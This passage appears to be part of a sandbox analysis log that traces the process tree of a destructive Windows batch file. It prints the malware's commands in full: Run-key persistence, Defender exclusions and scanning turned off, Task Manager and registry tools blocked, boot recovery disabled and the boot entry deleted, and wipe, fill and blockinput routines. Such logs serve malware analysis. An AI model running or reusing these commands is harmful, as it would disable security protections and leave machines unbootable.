        Command and Scripting Interpreter: PowerShell
        
        PID:9996
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9268
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:1872
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:9484
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10412
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:6272
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7476
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:1192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7956
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10088
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9304
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:2980
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6584
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7424
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:6960
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:6960
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8484
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:2104
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:7240
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:10844
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:10948
  - - C:\Windows\system32\cmd.exe
      cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
      4⤵
      PID:3312
    - - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        5⤵
        
        PID:3716
    - - C:\Windows\system32\net.exe
        
        net session
        5⤵
        
        PID:2624
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        6⤵
        
        PID:1268
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        5⤵
        
        PID:3384
      - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        6⤵
        
        PID:4908
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:4920
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:1596
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:2716
        
        C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        7⤵
        Views/modifies file attributes
        
        PID:4516
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:5600
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:6012
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        7⤵
        
        PID:2264
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        7⤵
        
        PID:5424
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        7⤵
        
        PID:4748
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:5680
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:4928
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        7⤵
        Disables one or more Microsoft Defender components
        
        PID:6852
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1084
        
        C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3440
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:1828
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:3256
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" kill_loop
        7⤵
        
        PID:7596
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:9208
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:8300
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:6580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10756
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:6868
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:4264
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:10532
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:7880
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" wipe
        7⤵
        
        PID:5104
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7300
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:10008
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8776
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:8068
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:9716
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8084
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:8704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:10888
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" fill
        7⤵
        Executes a command shell one-liner
        
        PID:6900
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8364
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:3528
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:7940
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        
        PID:4512
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7220
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:10024
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7632
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:1056
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" spam
        7⤵
        
        PID:8368
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:6940
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:2824
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:9756
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9672
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:4824
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:9576
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7672
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:2244
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" deskdump
        7⤵
        
        PID:8520
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8040
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:7000
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:10528
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:7552
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:7512
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:7792
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7136
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:2104
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockshutdown
        7⤵
        
        PID:8728
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:7464
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:10656
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:10996
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:248
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:944
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:8372
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:7756
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:6540
        
        C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" blockinput
        7⤵
        
        PID:8736
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        8⤵
        
        PID:8048
        
        C:\Windows\system32\net.exe
        
        net session
        8⤵
        
        PID:10080
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        9⤵
        
        PID:8704
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat\" hidden' -WindowStyle Hidden"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9924
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\deepseek_bat_20260928_7328a0.bat" hidden
        9⤵
        
        PID:4776
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        10⤵
        
        PID:4988
        
        C:\Windows\system32\net.exe
        
        net session
        10⤵
        
        PID:6696
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        11⤵
        
        PID:9872
        
        C:\Windows\system32\reg.exe
        
        reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
        7⤵
        
        PID:8772
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} recoveryenabled No
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8356
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /set {default} bootstatuspolicy ignoreallfailures
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:8476
        
        C:\Windows\system32\bcdedit.exe
        
        bcdedit /delete {current} /f
        7⤵
        Modifies boot configuration data using bcdedit
        
        PID:9636
        
        C:\Windows\system32\timeout.exe
        
        timeout /t 5 /nobreak
        7⤵
        Delays execution with timeout.exe
        
        PID:10724
        
        C:\Windows\system32\tasklist.exe
        
        tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
        7⤵
        Discovers running processes
        
        PID:10980
        
        C:\Windows\system32\find.exe
        
        find /c /v ""
        7⤵
        
        PID:4860
  - - C:\Windows\system32\reg.exe
      reg add "HKLM\SYSTEM\CurrentControlSet\Control\Session Manager" /v PendingFileRenameOperations /t REG_MULTI_SZ /d "\??\C:\Windows\explorer.exe\0\0" /f
      4⤵
      PID:2364
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} recoveryenabled No
      4⤵
      Modifies boot configuration data using bcdedit
      PID:2916
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /set {default} bootstatuspolicy ignoreallfailures
      4⤵
      Modifies boot configuration data using bcdedit
      PID:4068
  - - C:\Windows\system32\bcdedit.exe
      bcdedit /delete {current} /f
      4⤵
      Modifies boot configuration data using bcdedit
      PID:5228
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:3412
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
      4⤵
      Discovers running processes
      PID:5848
  - - C:\Windows\system32\find.exe
      find /c /v ""
      4⤵
      PID:4820
  - - C:\Windows\system32\timeout.exe
      timeout /t 5 /nobreak
      4⤵
      Delays execution with timeout.exe
      PID:6660
  - - C:\Windows\system32\tasklist.exe
      tasklist /FI "IMAGENAME eq cmd.exe" /FO CSV
      4⤵
      Discovers running processes
      PID:6732
  - - C:\Windows\system32\find.exe
      find /c /v ""
      4⤵
      PID:1980

C:\Windows\system32\mode.com
mode con: cols=120 lines=40
1⤵
PID:2580

C:\Windows\system32\net.exe
net session
1⤵
- Suspicious use of WriteProcessMemory
PID:808
- C:\Windows\system32\net1.exe
  C:\Windows\system32\net1 session
  2⤵
  PID:1792

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
1⤵
- Enumerates connected drives
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2332
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1708
- - C:\Windows\system32\mode.com
    mode con: cols=120 lines=40
    3⤵
    PID:5000
- - C:\Windows\system32\net.exe
    net session
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:5688
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 session
      4⤵
      PID:5884
- - C:\Windows\system32\attrib.exe
    attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
    3⤵
    - Creates a file in the Startup directory
    - Views/modifies file attributes
    PID:1788
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    - Adds Run key to start application
    PID:4888
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    - Adds Run key to start application
    PID:3048
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
    3⤵
    - Adds Run key to start application
    PID:4776
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
    3⤵
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1380
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
    3⤵
    - Enumerates connected drives
    - Suspicious behavior: EnumeratesProcesses
    PID:2956
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    PID:4336
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
    3⤵
    - Disables one or more Microsoft Defender components
    PID:2712
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -Command "Set-MpPreference -DisableScriptScanning $true"
    3⤵
    - Disables one or more Microsoft Defender components
    PID:2516
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:4900
- - C:\Windows\system32\reg.exe
    reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:3872
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
    3⤵
    PID:3420
- - C:\Windows\system32\reg.exe
    reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
    3⤵
    PID:6136
- - C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
    3⤵
    PID:6120
  - - C:\Windows\system32\mode.com
      mode con: cols=120 lines=40
      4⤵
      PID:3280
  - - C:\Windows\system32\net.exe
      net session
      4⤵
      PID:2536
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        5⤵
        
        PID:944
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:5636
    - - C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        5⤵
        
        PID:2192
      - C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        6⤵
        
        PID:2608
      - C:\Windows\system32\net.exe
        
        net session
        6⤵
        
        PID:5720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        7⤵
        
        PID:2300
      - C:\Windows\system32\attrib.exe
        
        attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat"
        6⤵
        
        PID:5028
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:4076
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:3948
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v SysCache /t REG_SZ /d "\"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\"" /f
        6⤵
        
        PID:3276
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup'"
        6⤵
        
        PID:3832
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Add-MpPreference -ExclusionProcess 'cmd.exe'"
        6⤵
        
        PID:7084
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableRealtimeMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:3872
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:988
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Set-MpPreference -DisableScriptScanning $true"
        6⤵
        Disables one or more Microsoft Defender components
        
        PID:6840
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7252
      - C:\Windows\system32\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:8132
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:6020
      - C:\Windows\system32\reg.exe
        
        reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:8744
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" kill_loop
        6⤵
        
        PID:7308
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:10220
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:9884
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:6892
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10040
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        
        PID:5684
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:9416
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" wipe
        6⤵
        
        PID:4136
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:8404
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:9680
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:7176
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -Command "Start-Process cmd -ArgumentList '/c \"C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat\" hidden' -WindowStyle Hidden"
        7⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:4292
        
        C:\Windows\system32\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" hidden
        8⤵
        
        PID:5844
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        9⤵
        
        PID:3348
      - C:\Windows\system32\cmd.exe
        
        cmd /c "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sys_cache.bat" fill
        6⤵
        
        PID:7820
        
        C:\Windows\system32\mode.com
        
        mode con: cols=120 lines=40
        7⤵
        
        PID:9604
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        
        PID:7956
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:5300
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
